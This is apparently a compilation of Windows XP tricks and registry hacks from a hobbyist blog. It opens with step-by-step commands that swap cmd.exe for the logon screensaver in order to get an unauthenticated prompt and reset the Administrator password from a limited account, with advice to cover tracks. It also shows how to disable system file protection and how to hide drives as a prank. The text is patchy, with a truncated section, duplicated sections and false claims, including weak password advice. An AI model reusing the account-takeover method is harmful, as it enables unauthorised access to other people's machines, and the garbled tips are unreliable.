Hack Windows XP Administrator Password:

If you hack Windows Xp Password & log into a limited account on your target machine and open
up a dos prompt then enter this set of commands exactly:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the
screen saver file, then edits the settings so when the machine boots the screen saver you will get an
unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"

If the Administrator Account is called Admin and you want the password blah enter this "net user
Admin blah" and this changes the password on Admen's machine to blah and you're in.

Note: Don't forget to copy the contents of tem hack back into the system32 dir to cover tracks.

2) Open Notepad.

Type the words as follows:

Bush hid the facts. Now save the file (give it any name you like), close the notepad. open it again.
You will se Square characters instead of the words you had written. It Works Only with XP. It
works with certain names. It worked with:

bush
saddam
tony blair
kieran
carl
de

Notepad Secret:

Open the notepad & write "bush hid the facts" without the quotes and save it with any
name now open it well what do you see ??? The reason for this is that the file has the
combination of 5-3-3-4 which is not accepted by Unicode thus this error.

Modify Shell32.dll:

Modify SHELL32.DLL in safe-mode (the easy way) from an earlier fix I was successful in
changing the shell32.dll without crashing win2k the fact of the matter is simple. Turn off the SFC.
Here is the key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinlogonValue is SFCDisableREG_DWORDChange it from 0 (enable) to
the 4294967197 (decimal) which is 0xffffff9d (hex) (duh -Ed) Then you need to go into Safe mode
with command prompt At the prompt type CD winnt\system32 then type copy shell32.dll
newshell32.dll. Then boot back into normal windows.

Modify the icons in the newshell32.dll file you made using an editor that can deal with the dlls
Save it and once more switch to Safe mode At the prompt type CD winnt\system32 then type ren
shell32.dll oldshell32.dll (ren is the DOS rename utility) teh type ren newshell32.dll shell32.dll then
boot back into normal windows then you turn the SFVDsable back on and your done.

Adding Website links to your Start panel:

Do you have a Web site that you visit frequently? How would you like to place a link to that Web
site directly on your Start panel? With the help of a registry hack, it is possible to place a shortcut
on the bottom-right side of your Start panel. Adding a link to a Web site is a great way to get to
your favorite Web site fast. Also, if you run your own Web site, you can make your own registry
file that you can distribute to your visitors so they can add your site to their Start Menu. I will
show you how to make a quick script from your registry once you have made the changes on your
computer. Now that I have told you the basics of this hack, let’s get started:

1. Click the Start Menu and select Run. Then type regedit to launch the Registry Editor.

2. When the Registry Editor has launched, you will want to expand the
HKEY_CLASSES_ROOT folder and then the CLSID folder.

3. Next, you will want to scroll through the list of Class IDs until you find {2559a1f6-21d7-11d4-
bdaf-00c04f60b9f0} and expand it as well. Start your modifications by naming this class. Right-
click the (default) entry within the {2559a1f6-21d7-11d4-bdaf-00c04f60b9f0} folder and select
modify.

4. Then type www.hackers360.blogspot.com in the value data box and click OK to save your
changes.

5. Now you are going to set up the icon that will be displayed on the Start panel next to the name.
To do this, you will need to create a new folder. Select the {2559a1f6-21d7-11d4-bdaf-
00c04f60b9f0} folder again and right-click it. Then select New and then Key. This will create a
new subfolder that you should call Default Icon.

6. Right-click the Default Icon folder that you just created and create a new string value by
expanding new and selecting string value. Name this new value (Default). The value of this string
will be the location of the icon that you want to use.

7. I like using the system icons which are stored in the shell32.dll.To use these icons, right-click
the new (Default) string value that you created and select modify. Then type
%SystemRoot%\\system32\\shell32.dll,-47 in the value box and click OK to save.
The 47 in that line is the index of the icon that I wanted to use for my link to
Abhi112.blogspot.com.If you want to use a different icon, replace the 47 with the icon index
number you want. You are free to use any icon that you want, including icons that are not in the
shell32.dll file. If you want to use an icon that you downloaded or made, just enter the full path to
that icon in place of the line mentioned above.

8. Now that the shortcut is set up, specify what it is supposed to do. To do this, expand the
Instance folder that is inside the {2559a1f6-21d7-11d4-bdaf-00c04f60b9f0} folder and then
expand the InitPropertyBag folder.

9. Inside the InitPropertyBag folder, you will be making the last changes for this hack. To start off,
you will want to create a new string value and call it Command. You can create this by right-
clicking the InitPropertyBag folder and selecting New, and then String Value.

10. Right-click the new string value that you created and select modify. Key in
hackers360.blogspot.com in the value data box and click OK. This value will be the text that is
displayed on the Start Panel.

11. Now you are almost finished. Create one more string value in the InitPropertyBag folder and
name it Param1. Then right-click the string value, select Modify, type
www.hackers360.blogspot.com, and click OK to save.

You are now finished! Once you log off and log back on, the changes will be activated.

Creating CON folder In XP:

Impossible Folders...
Try to create a folder in Windows with either of these names --
"con" or 'prn' or "nul" or "Aux" or "Lpt1"
Windows will not let u create....
Reason: all this correspond to some of the famous ports
>con corresponds to the console
>Lpt1 corresponds to printer and so on... Now do this... by me
try passing these commands in command prompt:
mkdir \\.\\c:\\con
Goto c: and find the folder is there..
Explanation...
These words are reserved for DOS devices

Like con is for console/keyboard lpt for printer:

1) Ever tried to create a folder or file with a name ending with dot(.), like- "abc.txt." or "my
folder." ??? Be it explorer or command prompt or CreateFile(), it does'nt work.

2) Attempts to create folder or files with name "con" lead to failure. And this is not merely
confined to "con" only. Here is a big list of such names(infamous reserved device names)-
"PRN, AUX, CLOCK$, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7,
COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9".

3) On a command prompt u trigger following commands-

mkdir c:\\\\test1
mkdir c: test2
mkdir c:\test2\\\\\\abc.txt

And u sees that each of the command works perfectly, even though each appears to be an
incorrect pathname (due to some extra and missing backslashes). All those above mentioned
restrictions can be overcome using the escape sequence "\\? \".

U can see these working on cmd now-

mkdir \\?\c:\myfolder. (Folder with a dot in end)

mkdir \\?\c:\com1 (Folder with a reserved name)

And U can see these failing on cmd now-

mkdir \\?\c:\\\\test1
mkdir \\?\c:test2
mkdir \\?\c:\test2\\\\\\abc.txt

Make the folder INVISIBLE without hiding:

Danger of "CTRL+C" on web:

We do copy various data by ctrl+c for pasting elsewhere. This copied data is stored in clipboard
and is accessible from the net by a combination of JavaScript's and ASP.
Just try this:

1) Copy any text by 'ctrl+c'

2) Do not keep sensitive data (like passwords, credit card numbers, PIN etc.) in the clipboard
while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your

In the right hand pane for the Explorer key, create a new "DWORD" value named ViewNoDrive.

Double click the new value and enter it as.......

For hiding A: drive set value as 1, for B its 2 and C its 4 and so on and for Z its 33554432
generally multiply it by 2 for the next alphabet to hide

I hate these junks:

Here are some simple techniques to remove your temporary files from your hard drive. These
temporary files if not cleared frequently, could take up a lot of space. But, if you are working with
internet regularly or didn’t care much about your temporary files, you can keep them. Oh, btw,
these temporary files make your webpage loads faster and makes programs runs much faster, no
doubt.

1. Start > Run > Type %temp% in the text field (including %). You can delete all the files from
that folder. In case, a file is currently used by a running program, you will not be able to delete it.
Do it at a later time, or when you stop every program that is running. And just press the Up
button from this folder and you will see a folder named “Temporary Internet Files”. Guess, you
know what to do.

2. Start > Run > Prefetch: You can delete all the files from this folder.

3. Start > Run > Temp: Same as prefetch.

4. You can search for a temporary files yourself by typing *.temp in the Find files or folders. But
this is risky. To clear history, cache, cookies etc… you can do it easily from the browser itself. One
recommendation, do defrag your hard drives frequently, at least once a week. Do Disk Cleanup.
And you can have certain software for junk file removal and registry cleaner.

To Create Folder "CON":

Try to create a folder in Windows with either of these names--

"con" or "nul" or "Aux" or "Lpt1".
Windows will not let u create....

Reason: all this correspond to some of the famous ports

>con corresponds to the console

>Lpt1 corresponds to printer and so on....

However I found a track to create a folder "Con":

Here is a simple method..........

Rename folder from the right click option........
Now press alt and press 255...
press 255 frm the right side of the key bords i.e., num pad....
where only numbers r given.....
now write con and then press enter.....huh!!
you will see a con folder in your pc and also you can delete it easily

Rename at a time:

You have a lots of photos in some folder on your computer, all have numbers-names, and you
want to name them like Holliday1.jpg, Holliday2.jpg, ... Don't need to do that one by one. You can
do that automatically with this little trick.

Open that folder and chose View - Thumbnails

Left click on any picture and CTRL + A. That way you will select all files in that folder.

Right click on first pic and chose "Rename" from drop-down menu. Renaming files tip Windows
XP will highlight name of that file and you will be able to name it. After filling the name, click
somewhere outside, in white space. You're done. If you named firs file "Anything" all selected files
will get names "Anything1", "Anything2", "Anything3", and so on.

Clean out the Prefetch folder:

Windows XP uses a system called 'prefetch' to organize and preload some of the data necessary
for commonly used applications and files. A folder called prefetch is used to store the information
the operating system needs to carry out this operation.
After several months of use, the prefetch folder may become quite overloaded with older
references to software and files that may no longer be in use. It's a good idea to manually empty
the older files out of the prefetch folder every few months or so. To do this: Navigate to 'c:
\windows\prefetch' and delete all. PF files that is older than a week or two.

Tips to create a Strong Password easily:

You have to create a Strong Password. This led me to explain the method I follow to set a
password - A Strong Password indeed by all standards.

You must follow the following criteria while creating a Strong Password:

* The password must be a minimum of 8+ characters.

* The password must have 1 number, 1 special character, 1 Upper Case character.

A very simple example that I use to explain my friends and colleges is: P@ssw0rd. The 'a' is
replaced by a special character @. The 'P' is of upper case. The 'o' is replaced by the numeral 0.
Well, you can now convert your regular password into a Strong Password by following a few
changes like the example I have mentioned above for the simple password - P@ssw0rd.

* Make the first character Upper Case.

* Change all 'a' in the password to the special character @.
* Change all 's' in the password to the special character $.
* Change all 'l' in the password to the special character!
* Change all 'o' in the password to the numerical 0.
* Change all 'i' in the password to the numerical 1.

XP Tricks & Hacking Methods 2:

1) Disabling Display of Drives in My Computer:

This is yet another trick you can play on your geek friend. To disable the display of local or
networked drives when you click My Computer go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane creates a new DWORD item and names it NoDrives. Now modify its value
and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer,
no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD
item. It's .reg file is as follows: REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r]
"NoDrives"=dword: 03ffffff

2) Pop a banner each time Windows Boots:

To pop a banner which can contain any message you want to display just before a user is going to
log on, go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
Now creates a new string Value in the right pane named LegalNoticeCaption and enters the value
that you want to see in the Menu Bar. Now create yet another new string value and name it:
LegalNoticeText. Modify it and insert the message you want to display each time Windows boots.
This can be effectively used to display the company's private policy each time the user logs on to
his NT box. Its .reg file would be: REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeCaption"="Caption here."

3) Deleting System Options from the Start menu:

You can actually remove the Find and Run options from the start menu by performing a simple
registry hack. Again like always launch the registry editor and scroll down to the below key:

Right-click on the right pane and select New, DWORD Value. Name it No Find. (To remove the
RUN option names it No Run). Double-click the newly create DWORD to edit its value and enter
1 as its value. This will disable the FIND option of the Start Menu and will also disable the default

Shortcut key (F3 for Find.) To restore the Run or find command modifies the value of the
DWORD to 0 or simply deletes the DWORD value.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find
Spec MRU and delete.
